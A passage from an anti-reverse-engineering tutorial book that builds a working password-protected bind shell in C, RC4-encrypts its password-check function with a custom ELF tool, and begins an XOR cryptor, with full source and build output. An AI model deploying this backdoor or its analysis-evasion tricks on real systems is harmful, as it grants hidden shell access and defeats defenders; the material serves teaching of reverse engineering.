/* Script for -z combreloc: combine and sort reloc sections */
/* Copyright (C) 2014-2015 Free Software Foundation, Inc.
Copying and distribution of this script, with or without modification,
are permitted in any medium without royalty provided the copyright
notice and this notice are preserved. */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
"elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("=/usr/local/lib/x86_64-linux-gnu"); SEARCH_DIR("=/lib/x86_64-linux-gnu");\
SEARCH_DIR("=/usr/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/local/lib64"); SEARCH_DI\
R("=/lib64"); SEARCH_DIR("=/usr/lib64"); SEARCH_DIR("=/usr/local/lib"); SEARCH_DIR("=\
/lib"); SEARCH_DIR("=/usr/lib"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib64"); SEARCH_D\
IR("=/usr/x86_64-linux-gnu/lib");
SECTIONS
{
/* Read-only sections, merged into text segment: */
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT\
_START("text-segment", 0x400000) + SIZEOF_HEADERS;
.interp
: { *(.interp) }
.note.gnu.build-id : { *(.note.gnu.build-id) }
.hash
: { *(.hash) }
.gnu.hash
: { *(.gnu.hash) }
.dynsym
: { *(.dynsym) }
.dynstr
: { *(.dynstr) }
.gnu.version
: { *(.gnu.version) }
.gnu.version_d : { *(.gnu.version_d) }
.gnu.version_r : { *(.gnu.version_r) }

However, you can provide the linker with your own script to complement or replace
the default script. For example, the following script will create a symbol called
check_password_size that will contain the length of the section named .check_password.

Chapter 4: Fighting Off String Analysis

144

chap_4_static_analysis/dontpanic/trouble/trouble_layout.lds
SECTIONS
{
check_password_size = SIZEOF(.check_password);
}

There is a problem though. Currently, check_password() is in the .text section. You

need to change the function definition so that it gets placed into its own section. This
can be accomplished using GCCs function attributes feature. Update the function
definition of check_password() to look like this:
Using the section name attribute on check_password()
bool __attribute__((section(".check_password"))) check_password(const char* p_passwor\
d)
{
char pass[password_size] = {};
XOR_STRING31(pass, password, 0xaa);
// validate the password
return memcmp(undo_xor_string(pass, 32, 0xaa), p_password, 32) != 0;
}

If you recompile Trouble and dont strip the sections table, you can confirm that a
special section .check_password section was created.

https://gcc.gnu.org/onlinedocs/gcc/Common-Function-Attributes.html#Common-Function-Attributes

Chapter 4: Fighting Off String Analysis

145

Viewing .check_password in readelf

albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ readelf -\
S ./trouble/trouble
There are 13 section headers, starting at offset 0x31c8:
Section Headers:
[Nr] Name
Type
Address
Offset
Size
EntSize
Flags Link Info Align
[ 0]
NULL
0000000000000000 00000000
0000000000000000 0000000000000000
0
0
0
[ 1] .init
PROGBITS
0000000000400120 00000120
0000000000000003 0000000000000000 AX
0
0
1
[ 2] .text
PROGBITS
0000000000400130 00000130
000000000000173f 0000000000000000 AX
0
0
16
[ 3] .check_password
PROGBITS
0000000000401870 00001870
0000000000000107 0000000000000000 AX
0
0
16
[ 4] .fini
PROGBITS
0000000000401977 00001977
0000000000000003 0000000000000000 AX
0
0
1
[ 5] .rodata
PROGBITS
0000000000401980 00001980
0000000000000858 0000000000000000
A
0
0
64
[ 6] .eh_frame
PROGBITS
00000000004021d8 000021d8
0000000000000004 0000000000000000
A
0
0
4
[ 7] .init_array
INIT_ARRAY
0000000000602fe8 00002fe8
0000000000000008 0000000000000000 WA
0
0
8
[ 8] .fini_array
FINI_ARRAY
0000000000602ff0 00002ff0
0000000000000008 0000000000000000 WA
0
0
8
[ 9] .jcr
PROGBITS
0000000000602ff8 00002ff8
0000000000000008 0000000000000000 WA
0
0
8
[10] .data
PROGBITS
0000000000603000 00003000
0000000000000160 0000000000000000 WA
0
0
64
[11] .bss
NOBITS
0000000000603180 00003160
0000000000000320 0000000000000000 WA
0
0
64
[12] .shstrtab
STRTAB
0000000000000000 00003160
0000000000000067 0000000000000000
0
0
1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

Great! Now you need to add a definition for check_password_size so that Trouble
knows the size of the check_password() function at run time. You can add this line

Chapter 4: Fighting Off String Analysis

146

above the check_password function.

extern void* check_password_size;

If you recompile and look for check_password_size in the symbol table you wont
find it. The reason is that you havent added the logic to use the linker script yet.
Unfortunately, this is one of the few places that CMake has fails us. There is no way
to actually pass a script to the linker in CMake. I was forced to hack it in. Troubles
CMakeList.txt should be updated to look like this:
Using sed to insert the linker script into CMake
project(trouble C)
cmake_minimum_required(VERSION 3.0)
# This will create a 32 byte "password" for the bind shell. This command
# is only run when "cmake" is run, so if you want to generate a new password
# then "cmake ..; make" should be run from the command line.
exec_program("/bin/sh"
${CMAKE_CURRENT_SOURCE_DIR}
ARGS "-c 'cat /dev/urandom | tr -dc a-zA-Z0-9 | head -c 32'"
OUTPUT_VARIABLE random_password )
# Pass the random password into ${PROJECT_NAME} as a macro
add_definitions(-Dpassword="${random_password}" -Dpassword_size=33)
set(CMAKE_C_COMPILER musl-gcc)
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -O3 -funroll-loops -fno-asynchronous-unwind\
-tables -static -std=gnu11")
add_executable(${PROJECT_NAME} src/trouble.c)
add_custom_target(addLDS
COMMAND sed -i -e 's,-o,${CMAKE_CURRENT_SOURCE_DIR}/trouble_layout.\
lds -o,g' ./CMakeFiles/trouble.dir/link.txt)
add_dependencies(${PROJECT_NAME} addLDS)
# After the build is successful, display the random password to the user
add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD
COMMAND ${CMAKE_COMMAND} -E echo
"The bind shell password is:" ${random_password})

Chapter 4: Fighting Off String Analysis

147

The imporant part that was added is the addLDS logic. This uses the sed utility to
insert the new linker script into the linker options deep within CMakes generated
files. You can verify that this actually works by recompiling Trouble and looking for
check_password_size in the symbol table.
Verifying that the linker script hack worked
albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ readelf -\
s ./trouble/trouble | grep size
96: 0000000000000107
0 NOTYPE GLOBAL DEFAULT ABS check_password_size

Both the sections headers table and the symbol say that the check_password() is 0x107
bytes long. That sounds about right. Lets move on.

Decryption Logic
Youll start off by adding the decryption logic to Trouble. First youll need to add
in the crypto. Youll be using a popular open source implementation of RC4 that is
licensed under the simplified BSD license.
chap_4_static_analysis/dontpanic/trouble/src/rc.h
/*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*

rc4.h
Copyright (c) 1996-2000 Whistle Communications, Inc.
All rights reserved.
Subject to the following obligations and disclaimer of warranty, use and
redistribution of this software, in source or object code forms, with or
without modifications are expressly permitted by Whistle Communications;
provided, however, that:
1. Any and all reproductions of the source or object code must include the
copyright notice above and the following disclaimer of warranties; and
2. No rights are granted, in any manner or form, to use Whistle
Communications, Inc. trademarks, including the mark "WHISTLE
COMMUNICATIONS" on advertising, endorsements, or otherwise except as
such appears in the above copyright notice or in the software.

Chapter 4: Fighting Off String Analysis

148

* THIS SOFTWARE IS BEING PROVIDED BY WHISTLE COMMUNICATIONS "AS IS", AND

* TO THE MAXIMUM EXTENT PERMITTED BY LAW, WHISTLE COMMUNICATIONS MAKES NO
* REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, REGARDING THIS SOFTWARE,
* INCLUDING WITHOUT LIMITATION, ANY AND ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT.
* WHISTLE COMMUNICATIONS DOES NOT WARRANT, GUARANTEE, OR MAKE ANY
* REPRESENTATIONS REGARDING THE USE OF, OR THE RESULTS OF THE USE OF THIS
* SOFTWARE IN TERMS OF ITS CORRECTNESS, ACCURACY, RELIABILITY OR OTHERWISE.
* IN NO EVENT SHALL WHISTLE COMMUNICATIONS BE LIABLE FOR ANY DAMAGES
* RESULTING FROM OR ARISING OUT OF ANY USE OF THIS SOFTWARE, INCLUDING
* WITHOUT LIMITATION, ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
* PUNITIVE, OR CONSEQUENTIAL DAMAGES, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES, LOSS OF USE, DATA OR PROFITS, HOWEVER CAUSED AND UNDER ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF WHISTLE COMMUNICATIONS IS ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
*
* $FreeBSD: src/sys/crypto/rc4/rc4.h,v 1.2.2.1 2000/04/18 04:48:32 archie Exp $
*/
#ifndef _SYS_CRYPTO_RC4_RC4_H_
#define _SYS_CRYPTO_RC4_RC4_H_
#include <stdint.h>
struct rc4_state
{
uint8_t perm[256];
uint8_t index1;
uint8_t index2;
};
extern void rc4_init(struct rc4_state *state, const uint8_t *key, int keylen);
extern void rc4_crypt(struct rc4_state *state, const uint8_t *inbuf, uint8_t *outbuf,\
int buflen);
#endif

Chapter 4: Fighting Off String Analysis

149

chap_4_static_analysis/dontpanic/trouble/src/rc4.c
/*
* rc4.c
*
* Copyright (c) 1996-2000 Whistle Communications, Inc.
* All rights reserved.
*
* Subject to the following obligations and disclaimer of warranty, use and
* redistribution of this software, in source or object code forms, with or
* without modifications are expressly permitted by Whistle Communications;
* provided, however, that:
* 1. Any and all reproductions of the source or object code must include the
*
copyright notice above and the following disclaimer of warranties; and
* 2. No rights are granted, in any manner or form, to use Whistle
*
Communications, Inc. trademarks, including the mark "WHISTLE
*
COMMUNICATIONS" on advertising, endorsements, or otherwise except as
*
such appears in the above copyright notice or in the software.
*
* THIS SOFTWARE IS BEING PROVIDED BY WHISTLE COMMUNICATIONS "AS IS", AND
* TO THE MAXIMUM EXTENT PERMITTED BY LAW, WHISTLE COMMUNICATIONS MAKES NO
* REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, REGARDING THIS SOFTWARE,
* INCLUDING WITHOUT LIMITATION, ANY AND ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT.
* WHISTLE COMMUNICATIONS DOES NOT WARRANT, GUARANTEE, OR MAKE ANY
* REPRESENTATIONS REGARDING THE USE OF, OR THE RESULTS OF THE USE OF THIS
* SOFTWARE IN TERMS OF ITS CORRECTNESS, ACCURACY, RELIABILITY OR OTHERWISE.
* IN NO EVENT SHALL WHISTLE COMMUNICATIONS BE LIABLE FOR ANY DAMAGES
* RESULTING FROM OR ARISING OUT OF ANY USE OF THIS SOFTWARE, INCLUDING
* WITHOUT LIMITATION, ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
* PUNITIVE, OR CONSEQUENTIAL DAMAGES, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES, LOSS OF USE, DATA OR PROFITS, HOWEVER CAUSED AND UNDER ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF WHISTLE COMMUNICATIONS IS ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
*
* $FreeBSD: src/sys/crypto/rc4/rc4.c,v 1.2.2.1 2000/04/18 04:48:31 archie Exp $
*/
#include "rc4.h"
#include <sys/types.h>

Chapter 4: Fighting Off String Analysis

static __inline void
swap_bytes(uint8_t *a, uint8_t *b)
{
uint8_t temp;
temp = *a;
*a = *b;
*b = temp;
}
/*
* Initialize an RC4 state buffer using the supplied key,
* which can have arbitrary length.
*/
void
rc4_init(struct rc4_state *const state, const uint8_t *key, int keylen)
{
uint8_t j;
int i;
/* Initialize state with identity permutation */
for (i = 0; i < 256; i++)
state->perm[i] = (uint8_t)i;
state->index1 = 0;
state->index2 = 0;
/* Randomize the permutation using key data */
for (j = i = 0; i < 256; i++) {
j += state->perm[i] + key[i % keylen];
swap_bytes(&state->perm[i], &state->perm[j]);
}
}
/*
* Encrypt some data using the supplied RC4 state buffer.
* The input and output buffers may be the same buffer.
* Since RC4 is a stream cypher, this function is used
* for both encryption and decryption.
*/
void
rc4_crypt(struct rc4_state *const state,
const uint8_t *inbuf, uint8_t *outbuf, int buflen)
{

150

Chapter 4: Fighting Off String Analysis

151

int i;
uint8_t j;
for (i = 0; i < buflen; i++) {
/* Update modification indicies */
state->index1++;
state->index2 += state->perm[state->index1];
/* Modify permutation */
swap_bytes(&state->perm[state->index1],
&state->perm[state->index2]);
/* Encrypt/decrypt next byte */
j = state->perm[state->index1] + state->perm[state->index2];
outbuf[i] = inbuf[i] ^ state->perm[j];
}
}

Youll need to update Troubles CMakeLists.txt to include rc4.c.

add_executable(${PROJECT_NAME} src/trouble.c src/rc4.c)

Next youll need to update trouble.c to use RC4 decryption on check_password().

Here is the updated file.
Updated trouble.c with RC4 decryption
#include
#include
#include
#include
#include
#include
#include
#include
#include

<stdio.h>
<unistd.h>
<stdlib.h>
<string.h>
<stdbool.h>
<sys/mman.h>
<sys/types.h>
<sys/socket.h>
<netinet/in.h>

#include "rc4.h"

Chapter 4: Fighting Off String Analysis

152

#include "xor_string.h"
extern void* check_password_size;
unsigned char check_password_key[128] __attribute((section(".rc4_check_password"))) =\
{ 0 };
bool __attribute__((section(".check_password"))) check_password(const char* p_passwor\
d)
{
char pass[password_size] = {};
XOR_STRING31(pass, password, 0xaa);
// validate the password
return memcmp(undo_xor_string(pass, 32, 0xaa), p_password, 32) != 0;
}
/**
* This implements a fairly simple bind shell. The server first requires a
* password before allowing access to the shell. The password is currently
* randomly generated each time 'cmake ..' is run. The server has no shutdown
* mechanism so it will run until killed.
*/
int main(int p_argc, char* p_argv[])
{
(void)p_argc;
(void)p_argv;
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1)
{
fprintf(stderr, "Failed to create the socket.");
return EXIT_FAILURE;
}
struct sockaddr_in bind_addr = {};
bind_addr.sin_family = AF_INET;
bind_addr.sin_addr.s_addr = htonl(INADDR_ANY);
bind_addr.sin_port = htons(1270);
int bind_result = bind(sock, (struct sockaddr*) &bind_addr,
sizeof(bind_addr));
if (bind_result != 0)
{

Chapter 4: Fighting Off String Analysis

153

perror("Bind call failed");

return EXIT_FAILURE;
}
int listen_result = listen(sock, 5);
if (listen_result != 0)
{
perror("Listen call failed");
return EXIT_FAILURE;
}
while (true)
{
int client_sock = accept(sock, NULL, NULL);
if (client_sock < 0)
{
perror("Accept call failed");
return EXIT_FAILURE;
}
int child_pid = fork();
if (child_pid == 0)
{
// read in the password
char password_input[password_size] = { 0 };
int read_result = read(client_sock, password_input, password_size - 1);
if (read_result < (int)(password_size - 1))
{
close(client_sock);
return EXIT_FAILURE;
}
// decrypt valid target
struct rc4_state state = {};
mprotect(check_password, (uint64_t)&check_password_size, PROT_READ | PROT\
_WRITE | PROT_EXEC);
rc4_init(&state, check_password_key, sizeof(check_password_key));
rc4_crypt(&state, (unsigned char*)check_password, (unsigned char*)check_p\
assword,
(uint64_t)&check_password_size);
mprotect(check_password, (uint64_t)&check_password_size, PROT_READ | PROT\
_EXEC);

Chapter 4: Fighting Off String Analysis

154

if (check_password(password_input))
{
close(client_sock);
return EXIT_FAILURE;
}
dup2(client_sock, 0);
dup2(client_sock, 1);
dup2(client_sock, 2);
char* empty[] = { NULL };
char binsh[] = { '/', 'b', 'i', 'n', '/', 's', 'h', 0 };
execve(binsh, empty, empty);
close(client_sock);
return EXIT_SUCCESS;
}
close(client_sock);
}
}

The big change in Trouble is the decryption of check_password() right before it is

executed. Also, note that another section has been declared:

unsigned char check_password_key[128] __attribute((section(".rc4_check_password"))) =\

{ 0 };

This section will contain the key that check_password() has been encrypted with.

Encryption Logic
Youve added the RC4 decryption logic to Trouble. Now you need to add RC4
encryption logic. You wont encrypt check_password() until after Trouble has been
compiled. Ive written a tool called encryptFunctions that takes in an ELF binary
and encrypts the functions. You can find the tool in the chapter four directory. The
tool works by looking for a section that starts with .rc4. It will then match the

Chapter 4: Fighting Off String Analysis

155

.rc4 section with a section to encrypt. For example, the sections you added to
Trouble: .rc4_check_password and .check_password. The tool will store a randomly
generated key in the .rc4_check_password section and RC4 encrypt the .check_password section. The encryptFunctions project is made up of four files: CMakeLists.txt,
encryptFunctions.cpp, rc4.c, and rc4.h (note that the rc4 files were listed earlier in
this chapter).
chap_4_static_analysis/dontpanic/encryptFunctions/CMakeLists.txt
project(encryptFunctions CXX)
cmake_minimum_required(VERSION 2.6)
set(CMAKE_CXX_FLAGS "-Wall -Wextra -g -std=c++11")
add_executable(${PROJECT_NAME} src/encryptFunctions.cpp src/rc4.c)
set_source_files_properties(src/rc4.c PROPERTIES LANGUAGE CXX)

chap_4_static_analysis/dontpanic/encryptFunctions/src/encryptFunctions.cpp
#include
#include
#include
#include
#include
#include
#include
#include

#include "rc4.h"
/**
* This tool will search through a binaries section table and look for
* specially named section. Specifically, any section whose name that starts
* with ".rc4_*" will be marked as a location to store a 128 byte key and the
* section named by the "*" in ".rc4_*" will be encrypted using rc4.
*/
/**
* This function finds the special ".rc4_" section, generates a key, and
* encrypts the specified section.

Chapter 4: Fighting Off String Analysis

156

*
* \param[in,out] p_data the ELF binary
* \return true on success and false otherwise
*/
bool encrypt_functions(std::string& p_data)
{
if (p_data[0] != 0x7f || p_data[1] != 'E' || p_data[2] != 'L' || p_data[3] != 'F')
{
return false;
}
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
Elf64_Shdr* sections = reinterpret_cast<Elf64_Shdr*>(&p_data[ehdr->e_shoff]);
Elf64_Half sections_count = ehdr->e_shnum;
Elf64_Shdr* strings_header = reinterpret_cast<Elf64_Shdr*>(&p_data[ehdr->e_shoff]\
+
(ehdr->e_shentsize * ehdr->e_shstrndx));
const char* strings_table = &p_data[strings_header->sh_offset];
std::map<std::string, Elf64_Addr> encrypt_mappings;
// find all ".rc4_" sections.
Elf64_Shdr* current = sections;
for (int i = 0; i < sections_count; i++, current++)
{
std::string section_name(&strings_table[current->sh_name]);
if (section_name.find(".rc4_") == 0)
{
// store the other half of the section name to find where to encrypt
std::string func_name = "." + section_name.substr(5);
encrypt_mappings[func_name] = current->sh_offset;
}
}
// find all sections that ".rc4_*" was referencing for encryption
current = sections;
std::random_device rd;
std::uniform_int_distribution<int> dist(0, 255);
for (int i = 0; i < sections_count; i++, current++)
{
std::string section_name(&strings_table[current->sh_name]);
if (encrypt_mappings.find(section_name) != encrypt_mappings.end())
{

Chapter 4: Fighting Off String Analysis

157

// randomly generate a key to encrypt with

unsigned char key[128] = { 0 };
for (std::size_t i = 0; i < sizeof(key); i++)
{
key[i] = dist(rd);
}
// encrypt the section
struct rc4_state state = {};
rc4_init(&state, key, sizeof(key));
rc4_crypt(&state, reinterpret_cast<unsigned char*>(&p_data[current->sh_of\
fset]),
reinterpret_cast<unsigned char*>(&p_data[current->sh_offset]),
current->sh_size);
memcpy(&p_data[encrypt_mappings[section_name]], key, sizeof(key));
std::cout << "[+] Encrypted 0x" << std::hex << current->sh_offset << std:\
:endl;
}
}
return true;
}
int main(int p_argc, char** p_argv)
{
if (p_argc != 2)
{
std::cerr << "Usage: ./encryptFunctions <file path>" << std::endl;
return EXIT_FAILURE;
}
std::ifstream inputFile(p_argv[1], std::ifstream::in | std::ifstream::binary);
if (!inputFile.is_open() || !inputFile.good())
{
std::cerr << "Failed to open the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
std::string input((std::istreambuf_iterator<char>(inputFile)), std::istreambuf_it\
erator<char>());
inputFile.close();
if (!encrypt_functions(input))

Chapter 4: Fighting Off String Analysis

158

{
std::cerr << "Failed to complete the encryption function" << std::endl;
return EXIT_FAILURE;
}
std::ofstream outputFile(p_argv[1], std::ofstream::out | std::ofstream::binary);
if (!outputFile.is_open() || !outputFile.good())
{
std::cerr << "Failed to wopen the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
outputFile.write(input.data(), input.length());
outputFile.close();
return EXIT_SUCCESS;
}

In order to use encryptFunctions, youll need to update the CMakeLists.txt in the base
dontpanic directory. It should look like this.
Dont Panics CMakeList.txt
project(dontpanic C)
cmake_minimum_required(VERSION 3.0)
add_subdirectory(encryptFunctions)
add_subdirectory(trouble)

Then update Troubles CMakeList.txt to include execution of encryptFunctions:

Chapter 4: Fighting Off String Analysis

159

Updating Troubles CMakeList.txt

project(trouble C)
cmake_minimum_required(VERSION 3.0)
# This will create a 32 byte "password" for the bind shell. This command
# is only run when "cmake" is run, so if you want to generate a new password
# then "cmake ..; make" should be run from the command line.
exec_program("/bin/sh"
${CMAKE_CURRENT_SOURCE_DIR}
ARGS "-c 'cat /dev/urandom | tr -dc a-zA-Z0-9 | head -c 32'"
OUTPUT_VARIABLE random_password )
# Pass the random password into ${PROJECT_NAME} as a macro
add_definitions(-Dpassword="${random_password}" -Dpassword_size=33)
set(CMAKE_C_COMPILER musl-gcc)
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -O3 -static -std=gnu11")
add_executable(${PROJECT_NAME} src/trouble.c src/rc4.c)
add_custom_target(addLDS
COMMAND sed -i -e 's,-o,${CMAKE_CURRENT_SOURCE_DIR}/trouble_layout.\
lds -o,g' ./CMakeFiles/trouble.dir/link.txt)
add_dependencies(${PROJECT_NAME} addLDS)
# After the build is successful, display the random password to the user
add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD
COMMAND ${CMAKE_COMMAND} -E echo
"The bind shell password is:" ${random_password})
add_custom_command(TARGET ${PROJECT_NAME}
POST_BUILD
COMMAND ../encryptFunctions/encryptFunctions ${CMAKE_CURRENT_BINAR\
Y_DIR}/${PROJECT_NAME})

Finally! You can recompile Trouble. There should be extra output associated with the
encryption of check_password().

Chapter 4: Fighting Off String Analysis

160

Rebuilding Trouble with encryptFunctions

albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ make
-- Configuring done
-- Generating done
-- Build files have been written to: /home/albino-lobster/antire_book/chap_4_static_a\
nalysis/dontpanic/build
[ 20%] Built target stripBinary
[ 40%] Built target fakeHeadersXBit
Scanning dependencies of target encryptFunctions
[ 50%] Building CXX object encryptFunctions/CMakeFiles/encryptFunctions.dir/src/encry\
ptFunctions.cpp.o
[ 60%] Building CXX object encryptFunctions/CMakeFiles/encryptFunctions.dir/src/rc4.c\
.o
[ 70%] Linking CXX executable encryptFunctions
[ 70%] Built target encryptFunctions
[ 70%] Built target addLDS
Scanning dependencies of target trouble
[ 80%] Building C object trouble/CMakeFiles/trouble.dir/src/trouble.c.o
[ 90%] Building C object trouble/CMakeFiles/trouble.dir/src/rc4.c.o
[100%] Linking C executable trouble
The bind shell password is: tS5MOaog4uurRWn0Lxo4K6CF9YnWIR5V
[+] Encrypted 0x2310
[100%] Built target trouble

Now for the fun part. Lets check out how check_password() looks in a disassembler.
Encrypted check_password() in Radare2
albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ radare2 .\
/trouble/trouble
Warning: Cannot initialize dynamic strings
-- Welcome to "IDA - the roguelike"
[0x004003b0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x004003b0]> pdf @ sym.check_password
;-- section..check_password:
/ (fcn) sym.check_password 41

Chapter 4: Fighting Off String Analysis

|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
\

161

sym.check_password ();
; CALL XREF from 0x004002f3 (unk)
; DATA XREF from 0x004002a0 (unk)
; DATA XREF from 0x004002c3 (unk)
; DATA XREF from 0x004002e1 (unk)
0x00402310
e6cf
out 0xcf, al
0x00402312
6c
insb byte [rdi], dx
0x00402313
f394
xchg eax, esp
0x00402315
15962bbb6f
adc eax, 0x6fbb2b96
0x0040231a
5c
pop rsp
0x0040231b
de3da92ac6e0
fidivr word [0xffffffffe1064dca]
0x00402321
a2bd0a32467d. movabs byte [0xdc41317d46320abd], al
0x0040232a
2462
and al, 0x62
0x0040232c
b60d
mov dh, 0xd
0x0040232e
5d
pop rbp
0x0040232f
b6ac
mov dh, 0xac
0x00402331
383d5907d68c
cmp byte [0xffffffff8d162a90], bh ; [0x4:1]=2
0x00402337
02c7
add al, bh

Radare2 does produce disassembly for check_pasword(), but its totally useless. Pretty
good for just trying to hide a string, huh? Encrypting the function has other benefits
that will make runtime and memory analysis more difficult. Well cover that in later
chapters. Remember though, just because you encrypted the function doesnt mean
a reverse engineer isnt going to decrypt it. The following disassembly obviously
doesnt have the symbols stripped, but you can see that a reverse engineer would be
able to discover all the elements to do the decryption.
Disassembly around check_password()
.text:000000000040028F
.text:0000000000400294
.text:0000000000400299
.text:000000000040029C
.text:000000000040029E
.text:00000000004002A0
.text:00000000004002A5
.text:00000000004002AA
.text:00000000004002AF
.text:00000000004002B4
.text:00000000004002B9
.text:00000000004002BE

mov
edx, 7
mov
esi, 107h
rep stosq
mov
eax, ebp
stosw
mov
edi, offset check_password
call
mprotect
lea
rdi, [rsp+188h+var_168]
mov
edx, 80h
mov
esi, offset check_password_key
call
rc4_init
mov
eax, 107h

162

Chapter 4: Fighting Off String Analysis

.text:00000000004002C3
.text:00000000004002C8
.text:00000000004002CD
.text:00000000004002CF
.text:00000000004002D2
.text:00000000004002D7
.text:00000000004002DC
.text:00000000004002E1
.text:00000000004002E6
.text:00000000004002EB
.text:00000000004002F3

mov
lea
lea
mov
call
mov
mov
mov
call
lea
call

edx, offset check_password

rdi, [rsp+188h+var_168]
ecx, [rax]
rsi, rdx
rc4_crypt
edx, 5
esi, 107h
edi, offset check_password
mprotect
rdi, [rsp+188h+var_48]
check_password

Creating a Cryptor
As you saw at the end of the previous chapter, a reverse engineer doing static analysis
can recover all the variables they need to decrypt check_password() by looking at the
disassembly right before the call to check_password(). Is is possible to prevent that?
The answer is always ultimately no. You really cant prevent it. However, you can
make it more difficult. Lets write a cryptor to encrypt more of the binary!

Whats a Cryptor?
A cryptor encrypts a binary and adds additional logic to decrypt the binary
at runtime. A couple open source examples are:
1. cryptelf
2. midgetpack
Similar to a cryptor, a packer compresses the binary. The most widely used
cryptor is UPX[upx].

https://dl.packetstormsecurity.net/crypt/linux/cryptelf.c
https://github.com/arisada/midgetpack

Chapter 4: Fighting Off String Analysis

163

Implementing the Cryptor

To keep things simple, Ive written a cryptor that only encrypts the binarys code.
That means that the data will remain unencrypted. Also, the encryption algorithm
that Ive used is a one byte xor. Which is not encryption at all, but an obfuscation.
Ive chosen these limitations to keep the cryptor and the assembly stub it adds to the
binary as simple as possible. Once you understand how this simple cryptor works
you can start expanding it.
You can find the code in the chapter four in the cryptor directory. As usual, the project
contains two files: CMakeLists.txt and cryptor.cpp.
chap_4_static_analysis/dontpanic/cryptor/CMakeLists.txt
project(cryptor CXX)
cmake_minimum_required(VERSION 3.0)
set(CMAKE_CXX_FLAGS "-Wall -Wextra -g")
add_executable(${PROJECT_NAME} src/cryptor.cpp)

chap_4_static_analysis/dontpanic/cryptor/src/cryptor.cpp
#include
#include
#include
#include
#include
#include

/**
* This tool implements a *very* simple cryptor. The "encryption" scheme is just
* a one by XOR. Obviously, this isn't something you'd use to truly protect
* a binary, but it is a interesting tool to begin to understand how cryptors
* work.
*
* This tool will "encrypt" only the PF_X segment. Which means that .data is
* left visible.
*/

Chapter 4: Fighting Off String Analysis

164

/**
* Adds the decryption stub to the end of the first PF_X segment. Rewrites the
* entry_point address and xor "encrypts" the PF_X segment from just after the
* program headers to the end of the segment.
*
* \param[in,out] p_data the ELF binary
* \return true on success and false otherwise
*/
bool add_cryptor(std::string& p_data)
{
if (p_data[0] != 0x7f || p_data[1] != 'E' || p_data[2] != 'L' ||
p_data[3] != 'F')
{
std::cerr << "[-] Bad magic" << std::endl;
return 0;
}
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
Elf64_Phdr* phdr = reinterpret_cast<Elf64_Phdr*>(&p_data[ehdr->e_phoff]);
int ph_entries = ehdr->e_phnum;
const Elf64_Phdr* segment = NULL;
for (int i = 0; i < ph_entries && segment == NULL; i++, phdr++)
{
if (phdr->p_type == PT_LOAD && phdr->p_flags & PF_X)
{
// in order to write to the PF_X segment, we'll set the write
// flag. However, a more elagant solution is to use mprotect
// in the decryption stub.
phdr->p_flags |= PF_W;
segment = phdr;
}
}
if (segment == NULL)
{
std::cerr << "[-] Couldn't find an executable segment." << std::endl;
return false;
}
// We can't encrypt the ELF header or the program headers or we'll break the
// loader. So begin encryption right after the program headers. This logic
// asumes that the ELF header and the program headers fall within the

165

Chapter 4: Fighting Off String Analysis

// segment variable
uint32_t encrypt_start = ehdr->e_phoff + (ehdr->e_phentsize * ehdr->e_phnum);
uint32_t virt_start = segment->p_vaddr + encrypt_start;
// store the real offset so we can overwrite it with the stubs address.
uint32_t actual = ehdr->e_entry;
// this is sneaky in that *technically* speaking we'll be writing the stub
// into address space outside of the range specified by the program header
// BUT! In the real world, the address space is going to be page aligned
// so as long as we can fit our stub between the end of the PF_X segment
// and the end of the page, we are fine. We *could* just update the
// segment to include the size of the stub, but IDA gets upset when we
// rely on the page alignment
ehdr->e_entry = segment->p_vaddr + segment->p_filesz;
// this is our decryption logic. Very
unsigned char stub[] =
